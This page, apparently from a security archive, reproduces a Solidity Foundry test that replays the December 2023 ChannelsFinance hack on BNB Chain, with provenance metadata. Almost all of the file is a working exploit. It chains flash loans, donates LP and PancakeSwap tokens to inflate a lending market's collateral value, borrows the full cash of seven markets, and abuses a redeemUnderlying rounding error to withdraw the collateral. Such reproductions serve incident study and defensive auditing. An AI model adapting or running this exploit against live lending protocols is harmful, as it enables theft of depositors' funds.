Skip to content
THREATWIRE

Public reproduction file

src/test/2023-12/ChannelsFinance_exp.sol

Public reproduction file for dataset entry ChannelsFinance.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-12/ChannelsFinance_exp.sol211 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : ~320K
8// Attacker : https://bscscan.com/address/0x20395d8e8a11cfd2541b942afdb810b7dcc64681
9// Attack Contract : https://bscscan.com/address/0x07e536f23a197f6fb76f42ad01ac2bcdc3bf738e
10// Vulnerable Contract : https://bscscan.com/address/0x93790c641d029d1cbd779d87b88f67704b6a8f4c
11// First Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x711cc4ceb9701d317fe9aa47187425e16dae7d5a0113f1430e891018262f8fb5
12// Second Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x93372ce9c86a25f1477b0c3068e745b5b829d5b58025bb1ab234230d3473b776
14// @Analysis
15// https://twitter.com/AnciliaInc/status/1741353303542501455
17interface IcCLP_BTCB_BUSD is ICErc20Delegate {
18 function gulp() external;
21contract ContractTest is Test {
22 ICErc20Delegate private constant cWBNB = ICErc20Delegate(payable(0x860DF3e99f6223D695aB51b2FB9eaa92Fa903E8D));
23 ICErc20Delegate private constant cBUSD = ICErc20Delegate(payable(0xca797539f004C0F9c206678338f820AC38466D4b));
24 ICErc20Delegate private constant cUSDT = ICErc20Delegate(payable(0xBa5B37100538Cde248AAA4c92FB330fCf91F557C));
25 ICErc20Delegate private constant cUSDC = ICErc20Delegate(payable(0x33e68c922d19D74ce845546a5c12A66ea31385c4));
26 ICErc20Delegate private constant cDAI = ICErc20Delegate(payable(0x7D247295a6938587C581f5Bb8CBD98A72388E530));
27 ICErc20Delegate private constant cETH = ICErc20Delegate(payable(0x11797D61fD4BfF9728113601782D4444503093d7));
28 ICErc20Delegate private constant cBTC = ICErc20Delegate(payable(0x7140A671Da66C0BD411E3fc3B15C51C36dBB5cA3));
29 ICErc20Delegate private constant cFIL = ICErc20Delegate(payable(0xf77ef89255Fb387C6ebA1557c615A8B31A518aa2));
30 IcCLP_BTCB_BUSD private constant cCLP_BTCB_BUSD =
31 IcCLP_BTCB_BUSD(payable(0x93790C641D029D1cBd779D87b88f67704B6A8F4C));
32 IERC20 private constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
33 IERC20 private constant PancakeSwapToken = IERC20(0x0E09FaBB73Bd3Ade0a17ECC321fD13a19e81cE82);
34 IERC20 private constant BTCB = IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c);
35 IERC20 private constant BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);
36 IERC20 private constant BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
37 IERC20 private constant ETHToken = IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8);
38 IERC20 private constant USDC = IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);
39 IERC20 private constant DAI = IERC20(0x1AF3F329e8BE154074D8769D1FFa4eE058B1DBc3);
40 ICointroller private constant Comptroller = ICointroller(0xFC518333F4bC56185BDd971a911fcE03dEe4fC8c);
41 Uni_Pair_V3 private constant BUSDT_BTCB = Uni_Pair_V3(0x46Cf1cF8c69595804ba91dFdd8d6b960c9B0a7C4);
42 Uni_Pair_V3 private constant BUSDT_BUSD = Uni_Pair_V3(0x4f3126d5DE26413AbDCF6948943FB9D0847d9818);
43 Uni_Pair_V2 private constant BTCB_BUSD = Uni_Pair_V2(0xF45cd219aEF8618A92BAa7aD848364a158a24F33);
44 address private constant attackContract = 0x07e536F23a197F6FB76F42aD01ac2Bcdc3BF738E;
46 function setUp() public {
47 vm.createSelectFork("bsc", 34_806_205);
48 vm.label(address(cWBNB), "cWBNB");
49 vm.label(address(cFIL), "cFIL");
50 vm.label(address(cCLP_BTCB_BUSD), "cCLP_BTCB_BUSD");
51 vm.label(address(WBNB), "WBNB");
52 vm.label(address(BTCB), "BTCB");
53 vm.label(address(BUSD), "BUSD");
54 vm.label(address(PancakeSwapToken), "PancakeSwapToken");
55 vm.label(address(Comptroller), "Comptroller");
56 vm.label(address(BUSDT_BTCB), "BUSDT_BTCB");
57 vm.label(address(BUSDT_BUSD), "BUSDT_BUSD");
58 vm.label(address(BTCB_BUSD), "BTCB_BUSD");
59 }
61 function testExploit() public {
62 // Starting balances. Exploiter transferred amounts of tokens to attack contract before first attack tx
63 // Transfer txs:
64 // PancakeSwap Token: https://app.blocksec.com/explorer/tx/bsc/0x0237855c63eb85c5f437fba5267cc869a08c58a49501e3e5ebec9990bdd97565
65 deal(address(PancakeSwapToken), address(this), 2e18);
66 deal(address(BUSDT), address(this), 0);
68 // At the end of the first tx attacker manipulated total supply value in vulnerable contract
69 // This step was needed for increase borrowing power of attacker
70 // I don't recreate the mentioned process because I have encountered specific underflow error when trying to liquidate borrowers positions
71 // in the first attack tx
73 emit log_named_decimal_uint(
74 "Exploiter WBNB balance before attack", WBNB.balanceOf(address(this)), WBNB.decimals()
75 );
77 emit log_named_decimal_uint(
78 "Exploiter BUSD balance before attack", BUSD.balanceOf(address(this)), BUSD.decimals()
79 );
81 emit log_named_decimal_uint(
82 "Exploiter BUSDT balance before attack", BUSDT.balanceOf(address(this)), BUSDT.decimals()
83 );
85 emit log_named_decimal_uint(
86 "Exploiter BTCB balance before attack", BTCB.balanceOf(address(this)), BTCB.decimals()
87 );
89 emit log_named_decimal_uint(
90 "Exploiter ETHToken balance before attack", ETHToken.balanceOf(address(this)), ETHToken.decimals()
91 );
93 emit log_named_decimal_uint(
94 "Exploiter USDC balance before attack", USDC.balanceOf(address(this)), USDC.decimals()
95 );
97 emit log_named_decimal_uint("Exploiter DAI balance before attack", DAI.balanceOf(address(this)), DAI.decimals());
99 emit log_string("-----------------------------------------------------");
101 emit log_named_uint(
102 "Total supply value in vulnerable contract after first attack tx", cCLP_BTCB_BUSD.totalSupply()
103 );
105 emit log_named_uint(
106 "Exploiter cCLP_BTCB_BUSD balance after first attack tx", cCLP_BTCB_BUSD.balanceOf(attackContract)
107 );
109 // Transfer 2 tokens cCLP_BTCB_BUSD from attack contract to this contract.
110 // I do this because of complications with first tx explained above
111 // This step is needed to withdraw underlying BTCB_BUSD tokens later
112 vm.prank(attackContract);
113 cCLP_BTCB_BUSD.approve(address(this), type(uint256).max);
114 cCLP_BTCB_BUSD.transferFrom(attackContract, address(this), cCLP_BTCB_BUSD.balanceOf(attackContract));
116 BUSDT_BTCB.flash(address(this), 0, 11_900e15, "");
118 emit log_named_decimal_uint(
119 "Exploiter WBNB balance after attack", WBNB.balanceOf(address(this)), WBNB.decimals()
120 );
122 emit log_named_decimal_uint(
123 "Exploiter BUSD balance after attack", BUSD.balanceOf(address(this)), BUSD.decimals()
124 );
126 emit log_named_decimal_uint(
127 "Exploiter BUSDT balance after attack", BUSDT.balanceOf(address(this)), BUSDT.decimals()
128 );
130 emit log_named_decimal_uint(
131 "Exploiter BTCB balance after attack", BTCB.balanceOf(address(this)), BTCB.decimals()
132 );
134 emit log_named_decimal_uint(
135 "Exploiter ETHToken balance after attack", ETHToken.balanceOf(address(this)), ETHToken.decimals()
136 );
138 emit log_named_decimal_uint(
139 "Exploiter USDC balance after attack", USDC.balanceOf(address(this)), USDC.decimals()
140 );
142 emit log_named_decimal_uint("Exploiter DAI balance after attack", DAI.balanceOf(address(this)), DAI.decimals());
143 }
145 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
146 if (msg.sender == address(BUSDT_BTCB)) {
147 BUSDT_BUSD.flash(address(this), 0, 500_000e18, "");
148 BTCB.transfer(address(BUSDT_BTCB), 11_900e15 + fee1);
149 } else if (msg.sender == address(BUSDT_BUSD)) {
150 // Transfer token amounts to pair and next mint liquidity
151 (uint112 reserveBTCB, uint112 reserveBUSD,) = BTCB_BUSD.getReserves();
152 BTCB.transfer(address(BTCB_BUSD), (reserveBTCB * 115) / 100);
153 BUSD.transfer(address(BTCB_BUSD), (reserveBUSD * 115) / 100);
154 BTCB_BUSD.mint(address(this));
155 // Transfer PancakeSwapToken to vulnerable contract
156 PancakeSwapToken.transfer(address(cCLP_BTCB_BUSD), PancakeSwapToken.balanceOf(address(this)));
158 emit log_named_uint(
159 "Exploiter underlying BTCB_BUSD tokens balance before transfer to vulnerable contract",
160 BTCB_BUSD.balanceOf(address(this))
161 );
163 // Transfer BTCB_BUSD to vulnerable contract
164 BTCB_BUSD.transfer(address(cCLP_BTCB_BUSD), BTCB_BUSD.balanceOf(address(this)));
166 emit log_named_uint(
167 "Exploiter underlying BTCB_BUSD tokens balance after transfer to vulnerable contract",
168 BTCB_BUSD.balanceOf(address(this))
169 );
171 cCLP_BTCB_BUSD.accrueInterest();
173 // Enter to ChannelsFinance markets
174 address[] memory cTokens = Comptroller.getAllMarkets();
175 Comptroller.enterMarkets(cTokens);
177 // At this moment exploiter can borrow more tokens than he should
178 ICErc20Delegate[] memory tokensToSteal = new ICErc20Delegate[](7);
179 tokensToSteal[0] = cWBNB;
180 tokensToSteal[1] = cBUSD;
181 tokensToSteal[2] = cUSDT;
182 tokensToSteal[3] = cUSDC;
183 tokensToSteal[4] = cDAI;
184 tokensToSteal[5] = cETH;
185 tokensToSteal[6] = cBTC;
187 for (uint256 i; i < tokensToSteal.length; ++i) {
188 uint256 amountToSteal = tokensToSteal[i].getCash();
189 tokensToSteal[i].borrow(amountToSteal);
190 }
192 // redeemUnderlying function has rounding error.
193 // Thanks to this attacker has used only one cCLP_BTCB_BUSD token to withdraw underlying tokens
194 uint256 reserves = cCLP_BTCB_BUSD.totalReserves();
195 uint256 redeemAmount = cCLP_BTCB_BUSD.getCash();
196 cCLP_BTCB_BUSD.redeemUnderlying(redeemAmount - reserves - 1e9);
197 emit log_named_uint(
198 "Exploiter cCLP_BTCB_BUSD balance after call to redeemUnderlying()",
199 cCLP_BTCB_BUSD.balanceOf(address(this))
200 );
201 emit log_named_uint(
202 "Exploiter underlying BTCB_BUSD tokens balance after withdraw from vulnerable contract",
203 BTCB_BUSD.balanceOf(address(this))
204 );
205 emit log_string("-----------------------------------------------------");
206 BTCB_BUSD.transfer(address(BTCB_BUSD), BTCB_BUSD.balanceOf(address(this)));
207 BTCB_BUSD.burn(address(this));
208 BUSD.transfer(address(BUSDT_BUSD), 500_000e18 + fee1);
209 }
210 }

Analysis

Dataset entry

Public Foundry test for “ChannelsFinance” (2023-12-30). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

22 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x20395d8e8a11cfd2541b942afdb810b7dcc64681

  • Attack Contract

    0x07e536f23a197f6fb76f42ad01ac2bcdc3bf738e

  • Vulnerable Contract

    0x93790c641d029d1cbd779d87b88f67704b6a8f4c

File record

Name
ChannelsFinance
Path
src/test/2023-12/ChannelsFinance_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
e90dd82cdc998ab1bd8c32ebdfdc49dd20b724a3
Language
Solidity
Size
212 lines
Date
2023-12-30
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-12/ChannelsFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e90dd82cdc998ab1bd8c32ebdfdc49dd20b724a3, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.